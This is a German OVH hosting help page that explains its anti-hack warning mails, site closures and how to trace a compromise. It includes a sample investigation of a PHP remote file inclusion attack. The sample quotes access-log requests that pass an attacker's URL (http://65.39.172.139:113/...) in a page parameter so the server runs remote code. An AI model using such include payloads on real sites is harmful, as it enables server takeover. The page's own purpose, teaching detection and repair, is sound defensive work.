Suche


drucken PDF

Sie haben eine Warnmail von unserem Anti-Hack-System erhalten:



Grundlegendes zur Funktionsweise des Systems:



  • Wofür stehen die Systemangaben?

In der E-Mail die Sie erhalten haben sind einige Zeilen mit Systemangaben folgender Art:

Proto Recv-Q Send-Q Adresse locale Adresse distante Etat Utilisatr Inode PID/Program name
tcp ------ 0 --------- 0 ---- 0.0.0.0:2000 -------- 0.0.0.0:* — LISTEN 1025 1241772069 12109/b

Diese Systemangaben werde Ihnen als Beweis des erfolgten Hacks übermittelt. Lokale Adresse "0.0.0.0:2000" bedeutet daß der Hacker den Port 2000 auf dem Server geöffnet hat. Distant Adresse 0.0.0.0:*" bedeutet daß dieser Port Verbindungen von allen Maschinen und von jedem beliebigen Port aus akzeptiert. Etat "LISTEN" bedeutet daß dieser Port im Moment offen ist und auf Verbindungen wartet. Die Benutzernummer (Utilisatr) entspricht Ihrer UID auf dem Server von OVH, auf diese Weise konnten wir herausfinden daß das programm von Ihrer Seite aus gestartet wurde. Der Name des Programms ist in diesem Zusammenhang eher uninteressant, da Hacker oft erfundene oder falsche Programmnamen verwenden, um die Administratoren zu täuschen.

  • Warum wurde meine Seite geschlossen?

Sie müssen wissen daß die Schliessung Ihrer Seite nicht erfolgt ist um Sie zu bestrafen, denn Sie sind ebenfalls ein Opfer, sondern eher um Sie zu schützen. Man würde zwar annehmen daß es genügt, das Programm zu beenden (kill) damit das Problem behoben ist. Die Erfahrung zeigt jedoch daß, wenn einmal eine Sicherheitslücke auf einer Seite gefunden wurde, diese danach häufiger und auch agressiver angegriffen wird. Auch wenn unser Überwachungssystem regelmässig den Zustand der Server überprüft, können wenige Sekunden einem Hacker genügen um große Schäden an Ihrer Seite oder an den Servern zu verursachen. Es ist deshalb vorzuziehen, erst die Lücke zu finden und zu schliessen, bevor wieder Online gestellt wird. Unser System sperrt alle Programme, die mit einem Hack in Verbindung gebracht werden, und schliessen Ihre Seite nur wenn sich herausstellt, daß der Hacker immer noch mit dem Server verbunden ist oder er eine Backdoor hinterlassen hat, die es Ihm erlaubt, sich sehr einfach erneut Zugang zu Ihrem Hosting zu verschaffen. So hindern wir den Hacker daran, seine Angriffe weiterzuführen.

  • Warum verhindert OVH nicht solche Angriffe auf meine Seite?

Bei dieser Art des Angriffs hat der Hacker Ihr Passwort nicht in seinen Besitz gebracht und hat keinen Zugang zu unseren Servern erlangt. Er hat einfach eine Sicherheitslücke Ihrer Seite genutzt um über diese Code auszuführen. Keine Sicherheitsmassnahme auf Ihrer Seite ermöglicht es, einen solchen Angriff direkt abzuwehren. Wir könnten zwar die Berechtigungen von Skripten auf unseren Servern beschränken, damit solche Angriffe nicht mehr möglich sind; dies hätte jedoch auch den unangenehmen Nebeneffekt, daß Sie die vielen neuen Möglichkeiten von Skriptsprachen wie PHP, Perl, Python... nicht nutzen könnten und auch ganz allgemein die Erstellung Ihrer Seiten erschweren würde. Wir haben uns deshalb dazu entschlossen, Ihnen die größtmögliche Freiheit zu bieten.

  • Wie kann ich die Sicherheitslücke finden und beheben?

- Wenn Sie ein weitverbreitetes System wie Wordpress, Joomla, phpBB, phpnuke... verwenden:
Für diese populären Systeme stellen die Entwickler regelmässig Updates bereit, die die Sicherheitslücken stopfen, die von den Anwendern gemeldet wurden. Bringen Sie also Ihr System auf den neuesten Stand und informieren Sie sich in Zukunft über neue Updates, zuum Beispiel indem Sie sich in die Mailingliste der offiziellen Seite des Programms eintragen. Wenn Sie bereits die letzte Version der Software nutzen, dann zögern Sie nicht im offiziellen Forum von dem Problem zu berichten, denn dann werden die Entwickler sicher schnell einen Patch für die Sicherheitslücke entwickeln und bereitstellen, den Sie dann einspielen können.

- Wenn Sie im Netz gefundene oder eigene Skripte verwenden:
Die einfachste Lösung: Sie können unsere Outsourcing-Dienstleistung in Anspruch nehmen, indem Sie den Support von OVH kontaktieren, der Ihnen dann einen Kostenvoranschlag für die Suche nach der Sicherheitslücke machen wird. Während diesem Eingriff können unsere Techniker:
- das Skript das den Fehler enthält lokalisieren
- so viele Informationen wie möglich über den Ursprung des Angriffs herausfinden
- die Sicherheitslücke in dem fehlerhaften Skript ausfindig machen
- eine Zusammenfassung der verwendeten Vorgehensweise und der Methode, mit der die Lücke im Skript gefunden wurde, erstellen
- Ihnen einige Maßmahmen zur Sicherung und Korrektur vorschlagen, um Sie in Zukunft besser zu sichern

Wenn Sie sich selbst auf die Suche machen möchten: es ist nicht möglich, eine detaillierte Prozedur auszuarbeiten anhand derer Sie sicher den Ursprung eines Angriffs erkennen können. Aber im allgemeinen wird auf folgende Art und Weise vorgegangen, wenn der Angreifer eine Lücke in einem Skript ausgenutzt und damit ein HTTP Request verwendet haben muss. Alle HTTP Requests sind in Ihren Logs verfügbar ( http://logs.ovh.net/ihre_domain : ersetzen Sie ihre_domain.tld durch ihren Domainnamen mit dessen Erweiterung, z.B. ovh.de).

1. Notieren Sie Datum und Uhrzeit der Warnmail die Sie erhalten haben
2. Durchsuchen Sie Ihre Logs von dieser Uhrzeit an und erweitern Sie nach und nach den Suchzeitraum in die Vergangenheit bis Sie einen falschen (merkwürdigen, sich von den anderen unterscheidenden...) Eintrag finden. Dies kann ein gewisses Maß an Praxis und Kenntnis des Formats von Requests erfordern.
3. Notieren Sie das von dem Request angegriffene Skript.
4. Studieren Sie das Skript, um die Sicherheitslücke zu identifizieren.
5. Korrigieren Sie den Fehler.


Beispiel:

Wir zeigen Ihnen hier den Ablauf eines Outsourcing-Eingriffs für einen unserer Shared-Hosting Kunden. So können Sie sich ein Bild von dem was wir beim Eingriff vornehmen und von der zu verwendenden Vorgehensweise wenn Sie selbst suchen machen. Es handelt sich hier um eine klassische include-Lücke, die einfach aufzuspüren ist.

Guten Tag,

Hier das Ergebnis unserer Nachforschungen:

1. Wir durchsuchen die Verbindungslogs:

Wenn man in den Logs zu den angegebenen Zeiten nachsieht, dann findet man in beiden Fällen einen suspekten Eintrag:

65.39.172.139 www.*********.net - <23/Oct/2004:10:57:19 +0200> "GET /XII_IWB/index.php?page=http://65.39.172.139:113/2 HTTP/1.1" 200 1793 "-" "curl/7.9.8 (i686-pc-linux-gnu) libcurl 7.9.8 (OpenSSL 0.9.6b) (ipv6 enabled)"

65.39.172.139 www.*********.net - <27/Oct/2004:20:52:33 +0200> "GET /XII_IWB/index.php?page=http://65.39.172.139:113/3 HTTP/1.1" 200 1793 "-" "curl/7.9.8 (i686-pc-linux-gnu) libcurl 7.9.8 (OpenSSL 0.9.6b) (ipv6 enabled)"

Diese Einträge sind suspekt, da man bemerkt daß der Parameter page in der URL eine externe Adresse ist und einen nicht-standardmäßigen Port verwendet (der Standardport für HTTP ist 80, hier wird Port 113 angegriffen):

index.php?page=http://65.39.172.139:113/4

2. Wir folgen der Spur des Angreifers; dies kann für eine Klage notwendig sein, oder um den Hoster des Angreifers zu kontaktieren damit dieser den Hacker kündigt:


65.39.172.139 ist wahrscheinlich die IP-Adresse des Angreifers. Dieser Adresse ist kein Reverse (Maschinenname) assoziiert, aber der SOA zeigt:
172.39.65.in-addr.arpa. 10800 IN SOA ns1.peer1.net

Der administrative Ansprechpartner bei peer1.net ist:

Administrative Contact:
Administrator, Domain domains@peer1.net
1600-555 West Hastings Street
Vancouver, BC V6B 4N5
CA
(604) 683-7747


Es kann sinnvoll sein diese Firma zu kontaktieren und unter Nennung des Zeitpunkts des Angriffs und der beteiligten IP-Adresse über den Vorfall zu informieren.

3. Wir schauen uns den Account und etwas genauer auch das problematische Skript an, um die Sicherheitslücke und eventuell noch andere Suspekte Dinge zu finden:
Zuerst fällt auf, daß sich drei "komische" Ordner an der Wurzel des Ordners XII_IWB befinden:

drwxr-xr-x 13 ******** users 4096 jun 17 13:54
drwxr-xr-x 13 ******** users 4096 jun 17 13:54
drwxr-xr-x 13 ******** users 4096 jun 17 13:55


Diese drei Ordner tragen Namen, die sich aus Leerzeichen zusammensetzen. Es könnte sich um Ordner handeln, die der Hacker hinterlassen hat. Möchten Sie daß ich sie entferne?
Danach betrachten wir die Datei index.php:
Diese enthält in der Tat einen Parameter $page der anschließend mit einem include-Befehl () in das Skript eingefügt ist. Die Überwachung dieses Parameters ist sehr ungenügend, da er von einem include-Befehl wieder aufgegriffen wird und so schadhaften Code zur Ausführung bringen kann.

4. Hinweise um die Lücke zu schliessen und die Sicherheit zu verbessern:

Eine erste Maßnahme könnte sein, die IP-Adresse des Angreifers zu blockieren, da er immer die gleiche verwendet; dies löst das Problem jedoch nicht wirklich, da ein anderer Angreifer (mit einer anderen IP-Adresse) immer noch die gleiche Sicherheitslücke ausnutzen kann.
Um zu erfahren wie man eine IP-Adresse auf Ihrer Seite blockieren kann können Sie hier weiterlesen: HtaccessProtectIP.

Anschliessend ist es unumgänglich, die include-Lücke zu schliessen. Dazu genügt es, das Format des in die URL eingegebenen Parameters page zu kontrollieren. Wenn dieser Parameter ein bestimmtes Format aufweisen muss (z.B. ausschließlich aus Buchstaben bestehend), dann können Sie einen regulären Ausdruck verwenden um das Format zu überprüfen. Wenn verschiedene Formate verwendet werden, so können Sie zumindest die Verwendung von Sonderzeichen wie zum Beispiel / oder Strings wie http:// untersagen; dies beschränkt schon sehr stark die Möglichkeiten zur Umgehung.
Zögern Sie nicht, alle Ihre Skripte auf diese Art von Sicherheitslücke zu überprüfen, und kontrollieren Sie im Allgemeinen alle von Benutzern eingegebene oder per URL übergebene Parameter.